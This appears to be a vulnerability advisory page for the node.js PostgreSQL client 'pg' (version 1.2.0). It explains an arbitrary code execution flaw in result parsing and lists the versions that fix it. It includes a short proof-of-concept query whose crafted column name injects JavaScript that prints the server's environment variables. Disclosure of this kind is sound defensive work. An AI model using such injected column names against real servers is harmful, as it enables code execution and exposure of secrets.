pg@1.2.0 vulnerabilities

PostgreSQL client - pure javascript & libpq with the same API

  • latest version

    8.13.1

  • latest non vulnerable version

  • first published

    13 years ago

  • latest version published

    1 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the pg package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Arbitrary Code Execution

    pg is a non-blocking PostgreSQL client for node.js.

    Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval, and with a specially crafted column name, an attacker can cause code to run remotely on the server.

    PoC:

    const { Client } = require('pg')
    const client = new Client()
    client.connect()
    
    const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
    
    client.query(sql, (err, res) => {
      client.end()
    });
    

    How to fix Arbitrary Code Execution?

    Upgrade pg to version 2.11.2, 3.6.4, 4.5.7, 5.2.1, 6.0.5, 6.1.6, 6.2.5, 6.3.3, 6.4.2, 7.0.2, 7.1.2 or higher.

    <2.11.2>=3.0.0 <3.6.4>=4.0.0 <4.5.7>=5.0.0 <5.2.1>=6.0.0 <6.0.5>=6.1.0 <6.1.6>=6.2.0 <6.2.5>=6.3.0 <6.3.3>=6.4.0 <6.4.2>=7.0.0 <7.0.2>=7.1.0 <7.1.2